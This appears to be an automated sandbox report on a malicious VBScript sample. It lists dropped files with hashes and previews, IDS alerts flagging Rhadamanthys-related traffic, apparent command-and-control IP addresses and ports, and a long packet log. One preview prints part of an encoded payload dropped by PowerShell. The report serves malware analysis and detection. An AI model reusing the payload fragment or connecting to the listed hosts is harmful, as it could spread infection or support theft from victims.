SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\ShaderCache\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\ShaderCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlU/:Ls3
MD5:	651B4877242AB63D4AF556D81CFFCBD1
SHA1:	33504151C51B38870A30EC0CA89DDFB207D92DCF
SHA-256:	9B0676F4A603288EC0E72315BF794DFE7B109853CACE2064D3930FBE4C9AC497
SHA-512:	518733622597129D8377F5540B6DBBB84B1AB1D3084FB2957CF9B889F62E06784F98FC4254B7B09AD43692D6E1E4B369F0B79859833562DB69A9DB6BA6110D95
Malicious:	false
Preview:	........................................c...%./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\customSynchronousLookupUris

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\customSynchronousLookupUris_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\edgeSettings

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\edgeSettings_2.0-0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\synchronousLookupUris

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Variations

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\d2950b36-69cc-4e60-8653-627656f38e7f.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.530396431740801
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtp1rH4hW11/ZTFyik7MJdXBuBuwBbaTNhaRXXlQoTEtCY/g:YuBqDPafJrjH/ZlrgBzBbEaN6RE5
MD5:	DD67ACA5E95728F3C753856305F163C3
SHA1:	2C4D0F54EBF5588E397AF7E32758E1E346666504
SHA-256:	8C06864E3463E9D9070B44472EE36AD9BB6AB15F12C3FB9AA046E46C9F27F199
SHA-512:	52A84E76AED2716BCB0E7832B2620DCA7785A8F2CF5801538C2CFC1287ADAEE9E1A774303193851722F60CACD56B18E3CA0E555D225E418893D5D0A87070233F
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyOvUk1g=="},"profile":{"info_cache":{},"profile_counts_reported":"13379020102830794","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1734546502"},"user_experienc

C:\Users\user\AppData\Roaming\Even.Lar

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	460840
Entropy (8bit):	5.948551648299628
Encrypted:	false
SSDEEP:	12288:an0wPZKMSYhbyhOlA2XF9nAjZKZKYdbjIPqJtVW71A:CfwhOW2XF9nRKYdbcqJtVW71A
MD5:	D0B7DD542D1B8C90D77315A58B37AA65
SHA1:	6FB0E42FEE626D28E24EDFB8E71E43FFCDF057C1
SHA-256:	EF2293FB054BFF28966408C57439C060BD2E1F53F2BDDC3807338AB8DE8CC8BC
SHA-512:	01B548BBA8EF070E05B5626445CB79E8A0D0D0C3000341343A8473B9CFBB1EDCDE2C644C805038D15C54852B4F7C46F42A7F77F63EBEF2EEBB7DED1CABCD012F
Malicious:	false
Preview:	6wKZOusCsTq747UXAOsCRvlxAZsDXCQEcQGb6wKAMLnhnErDcQGb6wJnPYHpFfCXq3EBm+sCtTyBwTRTTejrAo0r6wIzUusC7ytxAZu6EDLBIusCZgvrAsnYcQGb6wIw4DHK6wIIlXEBm4kUC3EBm3EBm9HicQGb6wK6NIPBBHEBm3EBm4H53TyGBHzNcQGbcQGbi0QkBHEBm3EBm4nDcQGb6wIR2YHDbv1QA3EBm3EBm7qs0emj6wK6pHEBm4HyYwRPOesCS1jrAnNngerP1aaa6wLOBesCmrNxAZvrAjPKcQGb6wI/HIsMEOsCqX1xAZuJDBNxAZvrAsodQnEBm3EBm4H6iNkEAHXW6wLgm3EBm4lcJAzrAhBJcQGbge0AAwAA6wJLznEBm4tUJAjrAsEi6wIUo4t8JATrAqujcQGbietxAZtxAZuBw5wAAADrAokWcQGbU3EBm3EBm2pAcQGbcQGbietxAZvrAtf4x4MAAQAAAAChBHEBm+sCH1aBwwABAADrAqXncQGbU3EBm+sCLWCJ63EBm3EBm4m7BAEAAHEBm3EBm4HDBAEAAOsCzfvrAjZmU3EBm+sC1rtq/3EBm3EBm4PCBXEBm3EBmzH26wIimXEBmzHJ6wLsAnEBm4sa6wJtBnEBm0FxAZtxAZs5HAp19HEBm+sC62JG6wJCA+sC5HaAfAr7uHXdcQGb6wKcx4tECvxxAZtxAZsp8HEBm+sCUoL/0nEBm3EBm7qI2QQAcQGbcQGbMcDrAtBk6wJPFIt8JAzrAtYocQGbgTQHOe+VDXEBm+sCAn+DwARxAZtxAZs50HXl6wJ5BesC8L6J+3EBm3EBm//X6wJLiHEBm70JfQ0575Vfg/lRn0Fub40575UCvfVSCTm1zjXNZnDKvOFq8sYlXp2pbhADxhBqEVbkwYyM4WryxnDTr8duEAPGEGqKvy5wQcZim/LGEOD6X9ZdWF9ubl28ZnC0QlOH084pgddf/azeuB5E

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.115872767977416
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	g8ix97hz.vbs
File size:	28'001 bytes
MD5:	88d98bd2a112b408acaeb0b875592c7a
SHA1:	c16e7b591755e996a4fafb382453c7c8cfafc966
SHA256:	878054ff4e790a597a5c6f3b1f16bbda833eef9c09e4c4fe28d33da8ee1255e7
SHA512:	a05e7c3314dfd4654f484ec98b703cd6ad15f16bab8fafd5c279d4c38248045ab63e7684e67a302192c04f3f0685c37b634a8e951d41ccac04d97d6b74451c42
SSDEEP:	384:c00yIpNNxx8wFKV6pLJ6FOgQPW25SYmpuJx:c00yIpNHx1JJqoAYmpuJx
TLSH:	BAC2A46947E728F409760A65FC261D2A62CC8FF25B13233E3B4D69D50A80A94DD3CF4B
File Content Preview:	....Private Const Kiloenes = &H2364..Private Const Programdiskens = &HFFFF3C0C..Private Const Reliances = -10676..Private Const Roodle = "Nonsyncopation; flibbertigibbet."..Private Const Snitsaar = "Farmerne sammensyningens"..Private Const Unsupervised =

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T19:27:57.700088+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49837	202.71.109.228	443	TCP
2024-12-18T19:28:04.928209+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	87.120.127.215	3847	192.168.2.6	49859	TCP
2024-12-18T19:28:28.476277+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	87.120.127.215	3847	192.168.2.6	49924	TCP
2024-12-18T19:28:28.476277+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	87.120.127.215	3847	192.168.2.6	49924	TCP
2024-12-18T19:28:40.477007+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	87.120.127.215	3847	192.168.2.6	49959	TCP
2024-12-18T19:28:40.477007+0100	2854824	ETPRO JA3 HASH Suspected Malware Related Response	2	87.120.127.215	3847	192.168.2.6	49959	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 19:27:11.551601887 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:11.551652908 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:11.551736116 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:11.558773041 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:11.558789015 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:13.260481119 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:13.260579109 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:13.274235010 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:13.274269104 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:13.274591923 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:13.302103043 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:13.343369961 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.068876028 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.068917036 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.068978071 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.068995953 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.113073111 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.284717083 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.284729958 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.284785032 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.284832954 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.312330008 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.312340975 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.312396049 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.337522030 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.337537050 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.337654114 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.337654114 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.362730980 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.362741947 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.362824917 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.521400928 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.521518946 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.545098066 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.545176983 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.562422037 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.562541962 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.580168009 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.580256939 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.597860098 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.597949982 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.621151924 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.621316910 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.638891935 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.639039993 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.776530981 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.776771069 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.782268047 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.782413006 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.788237095 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.788366079 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.796292067 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.796411037 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.802339077 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.802479029 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.808515072 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.808646917 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.816422939 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.816497087 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.822521925 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.822662115 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.828758001 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.828856945 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.834697962 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.834824085 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.841809988 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.842134953 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.896189928 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.896359921 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.904266119 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.904407024 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.968791962 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.968897104 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:14.975683928 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:14.975789070 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.011137962 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.011225939 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.017355919 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.017478943 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.022389889 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.022552967 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.026866913 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.027008057 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.030443907 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.030577898 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.033833027 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.033896923 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.038276911 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.038412094 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.041673899 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.041764975 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.045241117 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.045631886 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.048532963 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.048648119 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.052644014 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.052716017 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.056081057 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.056210995 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.060484886 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.060682058 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.063980103 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.064378023 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.159931898 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.160077095 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.162960052 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.163047075 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.200182915 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.200294018 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.203377008 CET	443	49720	202.71.109.228	192.168.2.6
Dec 18, 2024 19:27:15.203485012 CET	49720	443	192.168.2.6	202.71.109.228
Dec 18, 2024 19:27:15.206706047 CET	443	49720	202.71.109.228	192.168.2.6
